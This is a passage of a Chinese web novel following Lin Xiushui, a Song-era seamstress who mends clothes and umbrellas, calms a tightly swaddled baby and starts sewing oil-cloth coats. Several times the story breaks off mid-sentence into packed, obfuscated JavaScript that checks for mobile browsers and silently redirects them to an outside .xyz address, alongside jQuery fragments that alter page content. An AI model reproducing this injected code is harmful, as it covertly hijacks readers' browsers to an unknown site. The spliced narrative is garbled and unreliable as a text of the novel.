陈桂花一直吊着口气,一听这话,手打起摆子来,说话也哆嗦,追问她是不是真的。 林秀水不说大话,她进屋搬了桌凳出来,拿了绣棚、剪子,在外头寻了个光线最好的地方。 织补是很费眼的活,尤其是精工织补,得完全还原织纹,手要稳,眼要准。 她给夹衣后背那布拆下来,取了边角衣缝的原线,又将里头烧毁的丝绵扯下,重新翻一遍。 继而给布上了绣棚,将破洞边缘的布箍住,等布紧绷绷的,又拿起剪子,剪下烧焦的布圈。 幸而换了针,这针头细一点,用来织补没问题。她穿针缝线,她先横着下针,在破洞一指旁处,而后针开始一上一下引线,行云流水,针在细小的孔眼里跑上跑下。 横的红线细细密密盖住了洞,那线又变成竖的,如同织布,针在线里游动,再一转眼,原先还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471563|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明晃晃的大洞,竟是一点也看不出。 林秀水剪掉了横出来的线头,重新将布缝回去,又细细摸一遍,再把衣裳拿给陈桂花,“瞧瞧。” 陈桂花都看入神了,一听这话方才惊醒,拿过来上瞧下瞧,左瞧右瞧,对着光瞧,还想沾了口水捻,全然瞧不出破洞的痕迹。 她一时大喜,拍着大腿又跳又笑,“神了,真神了。” 说完就捧着衣裳哧溜一下往桥头跑了。 “哎,”林秀水刚起身喊她,再瞧只见片衣角,她嘟囔了句,“着什么急,倒是把银钱先给我去啊。” 索性跑得了和尚,跑不了庙。 “阿俏,” 林秀水忽听得有人喊她,茫然四顾,大声应道:“哪啊?” “在埠头这,下来跟我搬布” 王月兰的声音忽高忽低地传来。 林秀水这才从石阶跑下去,踩在船上,见王月兰弯腰拉一卷油布,忙搭了把手。 “这全是叫你裁油布手套的,”王月兰捶了捶腰,指着油布说,“按每人两双油布手套,二十个人的份,剩下的布算是抵了工费。” “尺幅不小,”林秀水扯开油布,大致估摸了下,“能剩些布料。” 王月兰先出了船后道:“你当她们怎么想的,怕你在尺料上偷布,不给好好缝,先拿布堵了我的嘴。” “拿了布尺一寸寸量过的,这你顶多裁了做件小衣,再加点旁的零散东西,丁点都不多,亏大了,哼,早知道不接这活了。” 原是如此,难怪王月兰板着脸,耷拉眉头,没半点高兴的劲。 可林秀水却笑道:“这有什么,左右也是活,弄的紧凑点,做件大点的油衣都使得。” 只王月兰越想越恼,要不是同染肆的人有交情,不好扯破面子,定要把布扔在她们身上。 可她恼归恼,从不对着林秀水发。 “鱼市那有鲜鲫鱼卖,我记得你往前爱吃这鱼,又买了些豆腐,炖给你吃。” 她又哼一声,“吃了只管睡去,这活压一压,晚些再做。” 林秀水习惯于王月兰的脾性,顺着她道:“怪我,早知就要钱了,八十文买块布头还能围腰上。” 王月兰斜眼看她,“拿话堵我呢。” “姨母你气恼这做什么,便宜都占了呀,”林秀水笑嘻嘻挽王月兰手,“我今日还赚了桂花姨三十文呢。” “钱给你了没?” 林秀水笑容僵住,忘了这茬了。 王月兰掐腰作势,要寻人要钱,奈何没人在。 等炖个鱼汤的工夫,门外响起小荷的喊声:“桂花姨” “小荷呐,玩推枣磨呐,”陈桂花夹着嗓子说。 “她这是扯了哪根筋,什么东西上身了不成,”王月兰寒毛直竖,原先陈桂花跟她吵架,那嗓门整条河湾都听得见。 陈桂花照旧没好脸色给王月兰,只一见林秀水,脸上提起笑,手里拎着猪肉跑过来,“秀姐儿,肉行里的双条骨,还有这糟猪头肉给你吃。” 她另拿了用布包的铜板,“你数数,说的三十个钱。” 王月兰转头问林秀水,“你救她命了?” “你放屁,”陈桂花呸道,“我命值钱得很,起码得送一头猪。” 8.第 8 章 王月兰有句常挂在嘴边的话,叫陈桂花的便宜,不占白不占。 毕竟陈桂花的抠门在桑桥渡出了名,破洞衣裳满身穿不说,一大早总能听见她对岸的吵嘴,因为老把竹竿架到人家那头去,就为晒衣裳。 上一年一件破衣裳掉河里了,她不会游水硬是跳河捞,结果差点溺死,幸好来往船只多。 王月兰跟她的恩怨,就因为好占便宜,本来一排的屋子门槛屋檐全是一般高,陈桂花非要在门前再加一道门,盖上屋檐,做成衡门。 平白被压一头,王月兰哪忍得了气,原先两人就因为小荷跟大饼打架置气,这一出后是两人才彻底撕破脸。 所以王月兰才百般不能理解,一文钱都要掰成两半花的,这会儿却出手阔绰,肉行里卖的双条骨,新鲜骨头连皮带肉一斤要三十五文,猪头肉得三十八文一斤。 这一下给了两斤骨头,加之一斤猪头肉,还另有三十文钱。 王月兰在肉上嗅了又嗅,她疑心,“这不会下了药的吧,又或是哪家的死猪肉。” “姨母,”林秀水见她都要去找针来验毒,忙笑着拉住她,“不会有毒的,人家同我说清了,她找我补的那件衣裳,是旁人的,本要赔上贯银钱的。” “呀,那亏大了!” 换作王月兰自个儿,非要宰她一顿不可。 小荷只盯着肉瞧,她小嘴撅起来,“想吃肉。”“这你得谢你阿姐,”王月兰正在切猪耳朵,“要不是她有能耐,你可吃不了这猪耳朵。” 小荷站在小板凳上,她只顾着看肉,胡乱点头,“我记住了,要不我给阿姐磕头。” 王月兰拍她一下,“你少给我胡说。” 不过看她这馋样,切了猪耳朵肉,给小荷一块,又跟她说:“叫你姐快来吃。” 林秀水正在院子里捣衣裳,这种粗麻布衣服很硬,不用棒槌使劲捶,穿身上特别扎人,多捣捣才会软。 她想把这衣裳拆了,做油衣内里,毕竟苎麻布和白细布都要一两贯一匹。 今年雨水实在多,她还想买桐油,把这老屋子墙柱刷几遍,免得叫雨给里头腐坏了。 主要她怕坏了被砸。 “阿姐,”小荷吃得嘴巴油汪汪的,嚼着猪耳朵的软骨来喊她,很高兴地喊:“快来吃呀。” 林秀水嫌弃她,取了帕子给她擦脸,“脏猫。”她进屋去,顺手把绊倒的椅子扶起来,这屋子窄得一天到晚就听东西叮叮哐哐砸到地上。 王月兰把猪头肉里肉最多的地方剃下来,堆在一个碗里给林秀水吃,她自己吃碎渣。 又同林秀水商量:“你这肉我想着送点给隔壁张阿婆家去,她家那儿子是木行里的,木匠活计了得。” “你不是还缺裁衣尺、线板,他还擅长做针夹,他家老娘跟媳妇是双线行里,给鞋履纳针的。” “由你送去,打个交道,有些人情往来。” 林秀水刚来这,只同隔壁邻舍见过两面,他们一家都忙于生计,早上五更天就出门了,夜里通常是林秀水洗漱完,准备躺下睡了,隔壁才传来走动和说话声。 她自然知道姨母为她好,当即便道:“姨母,晚些我送去,这双条骨还是先炖了吧,小荷夜里老腿肚子抽得疼。” “我明日带她上染肆,那街上有个金家小儿药铺,去那瞧瞧,”王月兰说时抖抖盐罐子,她还找了个小罐,倒了水洗干净。 把这陶罐给林秀水,“你那不是有炉子,明日装了肉汤热着吃。” 林秀水接过,其实成衣铺晌午的伙食很差,毕竟管事的都不上那吃,所以除了馒头就是饼,馒头做得倒还行,但饼是纯面,里头不夹馅,又干又硬还噎。 吃的时候总让她有种不想活了的念头,把好好的粮食做到这么难吃的地步,真是罪该万死。 还不给水喝,那灶房的人说烧汤锅很费柴,叫她吃生水,搞得她每日都得自己装些水,跟小春娥偷摸放在炉子上烧。 小春娥还会带糖来,两人把饼浸在热水里,等饼泡成沫,撒点糖,用勺子挖了吃,不赶紧吃就会凝成整块,更难以下咽。 林秀水从来没说过,每次王月兰问她,她都说吃得挺好的,但王月兰压根没信过,要真吃得好,她早早往家拿了。 肉汤要炖好一会儿,先吃的鱼汤,这会儿的鲫鱼很瘦小,肉也不多,刺不少,但鱼汤很鲜美,豆腐也滑,还吃的干饭,林秀水难得吃饱后还赖在椅子上。 她后头先去裁油布,等天黑王月兰领她去隔壁张家,一家子这会儿才下工,挤在院子里,借点天光,再点盏麻油灯,七八人凑在小方桌旁吃饭。 张阿婆见人就招呼吃饭,只是还疑心,王月兰可不是爱到饭点就过来的人。 “给你们送盘菜,糟好的猪头肉,是我家阿俏买的,”王月兰站在门口,拉拉林秀水,又把盘子递过去。 张阿婆先是推辞,“这哪好意思。” “什么不好意思的,都是邻舍,”王月兰径直把盘子放到人家桌上,旁的没提倒是,只叫大伙认认人。 这算是打过交道,日后有事也好相帮。 第二日张阿婆又拿了几个糖包还礼,细细看林秀水一番,还问王月兰,“你昨儿有事?” “哪有什么大事,只不过想问问张木匠有没有闲工夫,”王月兰端了把椅子给张阿婆坐。 张阿婆很直白地说:“你少整弯弯绕绕的,有什么活只管说。” “阿婆,我想叫张木匠做把裁衣尺,再几个线板,针夹,另外想定个宽木板,”林秀水接了话,“最好有两尺宽,三尺长。” 她眼下实在没地方裁布,桌子太小,做张宽桌子不合算,她没有这么多银钱,只要宽木板的话,下面再架两把长凳就行。 毕竟吃人嘴软,又是邻舍,张木匠接了这活,眼下正是忙的时候,养蚕在即,要紧着做蚕架和茧架。 他做东西前要问清楚,“这裁衣尺要做省尺的尺长,还是就按寻常人家的来?线板呢?要什么木头的,杂木和竹木的最便宜,三文就能做一个。” 林秀水琢磨起来,省尺要比日用尺短半个指头,得按日用尺来。 线板是绕线用的,线板绕的线要比木棍好使,要定竹木的,针夹是拔针用的,有些布硬不好拔。 如此定了,张木匠说两日后给她,宽木板会给她选便宜好用的料子,收了她五十文。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473726|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王月兰要贴补她,林秀水却忙摇头,“这晚些有了宽木板,能多接些活计了,攒攒就有了。” 早上摆摊赚几文,再去熨布赚月钱,她还想买些小布头,光靠缝补的话,赚的钱还不够买工具的。 林秀水提一个麻绳拴起来的小陶罐,边走边想怎么多赚点钱,她只剩七文钱了,想着这事一路走到成衣铺里。 小春娥已经在院子里倒炭灰了,林秀水三两步进去,将罐子放桌上,笑眯眯地道:“小春娥,我们今日能吃肉汤泡饼了。” “咦,肉汤,”小春娥哇了声,她连活也不干了,噔噔蹬小跑过来,“我今日也带了东西,快瞧,是我昨儿扑买博来的蜜糕,没花钱哦。” “还有条年糕团,我俩偷偷烤了吃,晌午能吃顿好的了。” 小春娥叽叽喳喳地展示她带的东西,仍在得意于昨日扑买竟然赢了的欢喜里。 哪怕这个早上,那宋娘子又过来说些有的没的,两人都不恼,晌午去领了饼,偷用炉子煨热肉汤,再把年糕切两半,烤的外头焦里头黏软。 吃饼,吃烤年糕,再喝一口肉汤,汤里还有几根大骨头,王月兰挑的骨头肉够多,吃得两人嘴巴油汪汪。 下午还分吃了蜜糕,林秀水连熨红布也不觉得难熬了。 今日下工极早,林秀水熨不完这批红布,她眼睛有点疼,看东西都蒙着一层红了,顾娘子见她眼睛发红,叫她早些回去。 她很少有这么早下工走在路上的,这会儿的风也很和软,像轻绸。 桑青镇的街市总是吵嚷、热闹,驴子驮着粮袋往米行里去,街头巷口有小经纪在叫卖,“风筝药线”“腰带匣”“卖字本”,桥下船里则喊的是“卖柴”“牛粪灰”。 也不乏有挑担推车架的,挤在人群里,时不时来声,“磨剪子——”“丁鞋络”,声音喊得响,林秀水却只注意到了桥洞边上的补衣妇。 是个老妇人,用一大块打蓝白褐补丁的布盖在腿上,那剪子、线团全兜着,小桌上放着一堆碎布,偶尔用她那粗糙有裂口的手,在里面翻找,又低头细细纳针。 林秀水慢慢走过去,她可不是想抢生意,这里的补衣行情她很清楚,补一件衣裳也就一两文,难些的也不过七八文。 一天缝补赚的钱只能勉强糊口。 她只是想瞧瞧人家怎么补的,都补些什么,生意怎么做的,同主顾怎么搭话的。 看了一会儿,见那老妇人接了补蹴鞠的活,一时不免惊讶问出声,“这也能补?” “怎么不能补,”老妇人瞧她,见是个小娘子,以为她好奇,便和蔼告诉她,“这只要针能缝进去的就能补,你看这蹴鞠是猪泡做的,又轻又薄,怎么不能补。” “我这里可不只衣裳能补,席子散边了能补,绸伞破了能补,不消说灯笼、渔网,样样都能补,大伙叫我百补婆婆。” 林秀水原以为缝补只能在衣料上做花样,她变了法的练贴补、绣补,但来补的人始终不多,毕竟没有人家的衣裳天天坏。 见了百补婆婆后,她才发现自己的路走窄了,就应该挂个招幌,口气响亮一点,叫什么都能补才是。 她还是太老实。 9.第 9 章 百补婆婆说,只要针能缝,万物皆可补。 她越琢磨越觉得这话在理。 今早天色雾蒙蒙的,溪上像笼着一层烟,林秀水照常支摊、吆喝,没人路过就缝补油布手套,等青石板有踢踏的脚步声,她才会抬头看一眼。 来往人不少,她也并不是每张脸都认识,可寻她问过枕囊的张娘子,她不免要把针线放到桌上,拍拍身站起来。 “张娘子,张娘子,” 张娘子怀里抱一柄油布大伞,听见声忙转过脑袋,一见林秀水便把伞横抱着,走了几步上前。 林秀水跟她搭话,“之前那枕囊法子成吗?” 先前张娘子来寻林秀水,要给幼女做个原样的枕囊,她给出了个主意,把原布跟枕囊放在一块,沾了同样的味道再裁了做新的。 “哎呀,秀姐儿,我正想过来谢你呢,”张娘子又将伞放下来,靠在自己腰上,“我怎么都没想到,她也不是认枕囊,只认那个味。我裁了新做的,她也欢欢喜喜的。” 林秀水同张娘子又闲聊两句,而后才点点她的油布大伞道:“娘子要拿着伞去做什么?” “说来也是,这伞面叫我家官人给砸了个洞,”张娘子说到这又气又恼,“我正想到对岸去找人修修。” 林秀水先劝她,又问道:“这修个伞面要多少银钱?” 张娘子如实说七八文,林秀水便道:“娘子要信得过我,我也能补。” “啊,”张娘子惊讶,“这你也能补?” 林秀水别的不说,她其实是补伞的好手,因为她有两把破伞,一把油纸的,一把油布的,油纸的常破,破到整把伞糊满了各色的油纸。 油布伞更不用说,骨眼和布面的线断了她自己缝,破洞面自己缝,缝成了杂布伞,一把伞缝缝补补用五年。 即使林秀水说修不好不要钱,张娘子半信半疑将伞给她,到底不放心,干笑道:“要不我还是上外头修去罢,免得耽误你的活计。” 林秀水正将伞撑开,她也不恼,只笑道:“娘子你放宽心,补不好我再赔你把新伞。” 她先看破洞的地方,对比油布手套的油布,色差不大,人家只是要防雨,不是要跟衣裳面补到完全看不出。 补伞要用糨糊、柿漆、麻线、油布、油纸,她一样样取来摆开。在张娘子惊异的神色里,把油布垫在伞面破洞下,粗针穿绕麻线,她用的针法是布面上看不出来的,线迹都藏在伞背下。 林秀水又用糨糊涂油纸,把跟手掌大的油纸沾在反面,其实用丝绵纸会更好,到时候多漆几层桐油,那布面颜色就成了同一个色。 拿了刷子沾一点柿漆,顺着缝线边缘涂抹,干了再抹几遍,泼盆水验验,半点不透。 她还看了骨眼跟布面的连接处,有几处线不牢,用粗麻线重新补上,捣鼓了几遍,原先这伞开合很紧,需要用大力气,经由她这么一弄,开伞极为顺畅。 经常用这把大伞的张娘子,她比林秀水要胖点,力气也不大,每次雨天出摊卖糖粥,总要跟这把伞较劲许久。叫她官人修一修,他只会说自己用时没问题,修伞的匠人会说紧点不容易坏,叫她别耽误自个儿工夫。 闹得张娘子一到雨天就烦忧,开个伞还得听她官人的念叨。 “啊呀,这修得好,”张娘子满脸喜悦,将那大伞开合了好些次,她长长松了口气:“再也不用请旁人开伞了。” 见她高兴,林秀水便露出真切的笑容,“除了伞骨断了我不会修,其他要是有问题,娘子只管找我。” 张娘子数出十文钱放桌上,连连点头道:“不找旁人了,我只找你,我家里还有两把伞,也按这个价,你晚些给我修修。” “好啊,”林秀水忙应下,脸上始终有小小的笑,她感受到别人的欢喜,这种是来自于补好一样东西,解决别人烦忧带来的满足。 王月兰捧着碗红豆粥出来,见林秀水在摊子前傻乐,问道:“笑成这样,捡到银钱了?” “没啊,”林秀水双手接过粥,晃晃脑袋,有些得意,“我接了补伞的活,赚了十文。” “怎么赚的?” 林秀水吹吹热烫烫的粥,一五一十说了,王月兰先是夸她两句,而后又说:“就在这儿补,别过对岸那,那边修伞匠多,指定要挤兑人。” 林秀水也点头,她又不打算专抢人家的活,趁着没人,吸溜喝完粥,正打算将碗给王月兰,她想再守一会儿。 便听一阵小儿哭声,不高昂,低低哑哑的,她往巷子口瞧,就见两人抱着一个襁褓里的孩子,面色急匆匆的。 王月兰倒是上前道:“柴娘子柴郎君,这是往哪里去?” 一见是王月兰,柴娘子当即大吐苦水,“你住得离我远些,怕是不知,别人的孩子顶多是夜哭郎,我这生了个日夜哭郎。” “日日都哭,压根离不得人,闹得我俩连柴炭生意也没法子做。这哭的嗓子也哑了,前头进了风去看郎中,还花掉我一贯钱,听闻前面有个临安来的,治小儿的郎中,我俩瞧瞧去。” 王月兰哪里不知,这娃在桑桥渡都出了名,日哭夜哭,因为这事柴家跟两边邻舍闹得很僵,都快上镇衙去了。 她俩说话的工夫,林秀水却在细看柴娘子抱着的婴孩,正哭的一抽一噎,小脚在包被里不住踢腾,哪怕被紧紧裹着,也能看出他在挣扎。 林秀水生了疑心,端来把凳子请柴娘子坐下,她说:“前头风大,他又哭得这么厉害,不如坐下先掩一掩包被。” 柴娘子一听有道理,当即坐下来,一坐下,怀里挣扎得更厉害,又哭又闹,要把整条包被给掀掉,柴郎君在一旁骂道:“犟种,连襁褓也不裹,日日要踹。” “不是他犟,”林秀水忍不住道,“这襁褓不是这样裹的。” 她这话一出,在场三人都看她,王月兰忙把她往身后拉,小声道:“你可别给我胡说。” 柴娘子却冷脸道:“小娘子你又没婚嫁,怎么知道不是这样裹的?我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478740|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑青镇自古都是这样做的,不信你问你姨母。” 自古传下来的东西还有诸般错处呢。 林秀水虽则上辈子,这辈子都没曾婚嫁,但她记忆里可是做过许多小儿衣裳的,关于此类知识也知道不少。 桑青镇裹孩子襁褓,不是上紧下松的,而是用绳子绑孩子脚,再用包被紧紧裹住,管这种叫蜡烛包,说是日后大了会高,腿不打弯。 这种裹法在男娃里尤其常见,主要宋朝募兵要看身长,上等禁军要五尺五寸(一米七五)才能入选,身长越高,军饷越多,所以有些当娘的,从娃娃时便抓起了身高。 “那柴娘子你叫我抱抱,我保管他不哭,”林秀水也没有争辩,“我也是帮别人带过小孩的。” 王月兰闹不清她到底卖什么名堂,也不大清楚,在外人面前却是帮林秀水说话的,睁眼说瞎话,“她确实帮人带过不少小娃,柴娘子你看哭得这么厉害,不如叫她试试。” 柴娘子跟王月兰交情挺深,王月兰总帮她,也不好拂了人的面子,便让林秀水坐着,将小孩给她抱。 林秀水抱小孩坐到背风处,将手从下伸到包被里,果不其然摸到一条绳子,悄悄解开,又把包被弄成松紧合宜的,外头看着依旧牢牢裹住。 她这一弄,原本还哭闹不休的孩子,慢慢地伸直腿,大张的嘴巴渐渐闭拢,沾满泪水的睫毛睁开,露出个没牙的笑容。 然后靠着包被,头一点一点的,合上眼睛睡着了。 柴娘子自打他生下来,只见哭不见笑过,一时竟发了怔。 “原是真弄错了,”柴郎君懊恼。 王月兰笑道:“怕是你家这闹腾,不愿意包着呢,长大以后肯定是个皮实的。” 林秀水一时在这两人眼里成了治小儿的神医,一个劲地夸她的“医术”高明。 夸林秀水的时候她没笑,但说要送她柴火的时候,她差点没笑出声。 后头两人又要照顾她生意,柴娘子说给小儿多做几身新衣,买好些的布请她来裁。 “不用好些的,穿过的旧衣最好,不会扎人,保管穿得舒服。” 她接了柴家的活,叫她改五件衣裳,改短改窄,给她五十文,一船柴火,另外剪下的旧布也给她。 若不是她上工的时辰要到了,王月兰还要细细盘问她。 今早这两个活计,叫林秀水又高兴又欢喜,走路带风地进了成衣铺。 正巧碰上宋娘子进门来,她穿件青色长褙子,头上梳朝天髻,也鼻孔朝天地看人,她瞥了林秀水一眼,“你等着,我忍你许久了。” 林秀水简直莫名其妙,哪里忍了,就她这张嘴,该说的不该说的,全叫她说了。 “我定要跟你们娘子说,叫她换个人来熨布,仗着自己熨布工夫不错,几日里就这么懈怠,才熨了多少匹。” “我要让她换人!” “你怎么不说点话?” 要林秀水说什么,天底下竟然有这般的好事。 10.第 10 章 这桩事闹到了顾娘子前。 宋娘子手扶着自个儿的朝天髻,那上头簪了不少钗环,一根手指点林秀水,嚷道:“换人!就她,几匹布熨了多少日子,眼瞅快到三月了…” 林秀水瞧一眼墙上的小历,今日是二月初七,合着在宋娘子的嘴里,后面日子长腿跑了。 她任凭宋娘子叽里呱啦,生怕把这个活计又揽到自己身上。这批红布那么艳,天光一照,她压根看不清皱褶在哪里,要熨得快就得胡乱应付。 顾娘子叫人点了茶,又上了几碟点心,吩咐好后才过来说:“宋娘子,你有什么事只管跟我说。” 她轻拍林秀水,低语道:“你先回去歇着,这事别上心。” 宋娘子是有点权在手,便要大耍威风,使劲为难别人的人,顾娘子专治这种人,糊弄她的诉求,再反手告知她的主家,叫人把宋娘子领回去。 领回去是领回去了,但这次换了宋娘子的姐妹来。 顾娘子到院子里时,林秀水已经同小春娥说了一通,两人都不大会骂人,但说宋娘子是成了精的大鹅,老咬人。 “说什么呢,”顾娘子走过来,她站在林秀水旁边,“那批布不用你熨了,确实为难你,我找三个老裁缝来熨,小春娥,你再把你大姐叫来一起烧炭。” 小春娥啊了声,她家大姐也确实是烧火能手,毕竟两人从小就帮爹娘烧灶烧炉的,但她大姐那嘴巴真烦人。 她又忙问:“那阿俏呢?不叫她熨了?” 顾娘子正看有多少匹布,闻言道:“之前油衣作里许三娘子说阿俏手艺不错。” “阿俏,你这几日先去油衣作里缝衣吧,那边缺人手。” 林秀水眉毛高高挑起,嘴巴微张,又立时应下,她可喜欢去油衣作了。 只是不免要宽慰小春娥,“过几日我就回来了,还同你一道熨布,给你带吃的。” 小春娥脸都皱成一个苦字,拉着林秀水的衣角说:“我这几日怕是要在火里烧,水里煮,雨里浇了呀,我那大姐她惯会折磨我,我命太苦了啊!” “我下工后也不能去扑买了,再去的话,我大姐肯定会打断我的腿,阿俏啊——” 不知道的人以为她哭丧,而知道的林秀水,真想看看她脑子里是不是只有扑买。 后头林秀水去了油衣作,因不是第一次来,没人领她,她熟门熟路进了院子。 院子里一排束线架,上头垂放着麻线,有两个老妇人坐在架子旁,脚边有两个鸭蛋形的麻丝桶,膝盖倒扣搓线瓦,取出木盆里浸泡的苎麻丝,沾了桑灰细细揉搓成线。 正中的地方摆了十来张宽桌,拼成两排,每张桌都放了衣料,应是一人缝同个衣片,此时这坐满了人,林秀水粗粗一看,大概有三十来人。 有人在埋头苦缝,也有人扭头相互说笑,再转回来缝几针,倒是有人抬头看了林秀水一眼,又自顾自忙着。 林秀水一下便找到了于六娘,只是还不好过去,要到许三娘子那,要她安排缝衣的事项。 “你先缝领抹,就那角落里,缝完你下工前来找我,”许三娘子压根不得歇,吩咐完又跑着往外头走了。 角落那,林秀水转过头看,再转回来,揉揉眼,最终相信这桌上比她人站着还要高的布,是她要缝的。 她个人始终觉得,油衣上缝领抹简直多此一举,油衣和领抹都同个色,缝了有什么用。缝衣襟不如缝攀纽,可惜宋朝盛行不制襟,就喜欢敞开衣袍。 有这么多要缝的领抹,她只好匆匆跟于六娘问声好,然后去取粗针、针夹、麻线,伸长胳膊拿旁边的成衣,捏着长条领抹来对着衣襟处。 这里还没有珠针,那种针短而细,针顶有珠子的那种,能把要缝的衣物给固定住,也没有针箍,可以套在指节上按压针头,粗针缝油衣根本不好缝,她都想上锤子砸了。 但是针夹很好用,是红木做的,鸟头造型,后面两根手柄像撅起来分得很开的嘴唇,只要握着手柄往下按,鸟头张开夹住针,再按一遍便能把针拔出来。 林秀水缝得挺费劲,一早上缝了十件,晌午跟于六娘碰面的时候,不免要说:“这油衣真难缝,我觉得还是要先缝好再上桐油。” “这也有,”于六娘指指对面,“那边是染带色油衣的,青绿蓝三种,全是先熨再裁后缝,缝完再熨一遍,最后上桐油,上完了还得把内里缝进去呢。” “那种一件要这个数,”于六娘张开手掌。 林秀水不免吃惊,“五贯啊,我就说这年头想过得好,还是得去抢劫。” 于六娘被她逗乐了,笑得双颊都在抖,又问她,“你怎么突然过来这里,不在成衣铺里做了?” “没啊,我两头赚,”林秀水将馒头分一半给于六娘,靠着椅背啃了一大口,两颊嚼得一鼓一鼓。 她吃完一口跟于六娘打听,“你们在这做活,桐油有没有便宜点卖的?我想买罐桐油。” “你买桐油补船还是擦屋里器具,”于六娘没答倒先反问。 “补船漆布涂家生呀。” 于六娘拉把凳子坐下说:“涂屋里器具要上广漆,是熟漆混熟桐油做的,擦了味小还透亮。” “这熟桐油涂布补船才好,你要不挑,只想便宜的话,倒是有点门路。” “我指定不挑,就想买些便宜桐油,”林秀水将两把凳子挨近,特地压低声音,“六姐儿,你给我说说呗。” 这油衣作旁边挨着的是桐油作,于六娘两头混,对桐油价门儿清。她看眼旁边的人,也小声道:“这最便宜的是桐油底,才三十文,每个桶底渣倒进一个桶里,这种桐油黑还有不少渣子,得自个儿拿布筛一筛。” “还有种比这贵三十文,但清透,上色也好,旁的人我可不告诉她。桐油作里的桐油,有大半都是他们那桐乡出来的,那油桐树多,桐油价贱得很,到铺子里翻身一卖才贵了起来。你要是信我,下了工先跟我瞧瞧去。” 三十和六十其实都是顶便宜的价了,正经一桶得上贯呢,只是再便宜,对于林秀水来说,也得仔细挑拣。 她当即道:“怎么会不信,就是这麻不麻烦你。” “哪麻烦,你先见着东西再说,要是真觉得麻烦我了,”于六娘随口道,“你就送我块绣布吧,我闺女后几日抓周正好能用得上,你也一道来。” 这林秀水倒是知道,于六娘嫁了个有桑林的人家,头胎生了女儿,家里都高兴,毕竟养蚕织布的手艺传女不传男。 她闺女也好带,六个月便不吃奶了,于六娘说本不来这行做了,油衣作一直来找她,才忙的时候来做做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485319|169879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林秀水一听这话,她说:“绣布多拿不出手,我到时给你闺女做双虎头鞋。” “那我可等着了,”于六娘也不推辞,大方接受了。 她还给林秀水吃水豆豉,隔年的,好豆子加甜酒,又是陈皮、干姜、草果泡的,林秀水吃不来这口,只觉得豆子一股发酵的酒味,酸溜溜的。 于六娘笑她,还说要给她带真正的酒豆豉,叫她尝尝正宗酒味,林秀水连连摇头。 到了下晌,林秀水仍旧缝衣裳,那桐油味都闻习惯了,下针也渐快,而且她缝衣不说嘴,只管盯着布瞧。 连许三娘子站在她身后盯着也没察觉,还是看见一团影子,这才转头往后瞧去。 “缝得不错,”许三娘子正拿缝好的油衣细看,针脚匀称,线缝笔直,她暗暗赞许,“今日先把领抹缝了,明日你去缝衣袖。” 对于林秀水来说,缝两个都没有差别,她只老实应下,许三娘子笑她不懂,“这缝衣是按日领钱的,缝领抹一日十五,缝衣袖一日有三十文。” 一听这话,林秀水眼睛睁得溜圆,这也没告诉她能有钱领啊。 许三娘子见她这样,不免发笑,“跟我来领工钱。” “哎,”林秀水腾地站起来,还特意绕开椅子,脚步欢快地过去领钱。 她回来的时候,旁边几个娘子在笑,有人笑说:“你瞧这小丫头,领点钱就高兴成这样。” “你从前不也这样。” 林秀水被她们也不恼,只是朝着她们笑,眉眼弯弯,有钱领当然得高兴。 下工前要把针、针夹、没用完的麻线全部放回去,将桌子收拾整齐,明日她得换个位置了。 出了门,上于六娘的小船,船身透亮泛着光泽,她夸赞,“这船漆得好。” “这就是广漆,贵是贵些,”于六娘划船,在船头跟她说,“那卖桐油的在清水河的桥底下,他住船屋的。” 林秀水便听于六娘说这卖油郎,大伙又称他为犟油郎,有人曾说他这桐油补船会漏,他硬是把自己船涂满桐油,从此只住船上,五六年不换船。 卖油郎的船屋挺大,前头堆着各种桐油,盖了帘子后头是他住的船舱,船尾则是炉灶。 “油叔,今日带了我妹妹来,来点合算又好的桐油,”于六娘划了船过去,跟卖油郎说。 卖油郎挨个说了价,最便宜的六十文一罐,能涂三根大柱子,再贵点二百文,涂两三尺油布不成问题。 林秀水要了六十文的先,卖油郎还搭了她一小瓶粗油,有渣子的,也能用。 “你要用得好,下回再过来。” 林秀水又跟于六娘道谢,她自己上岸走路回去,一罐桐油捧在怀里,小瓶粗油拴腰上。 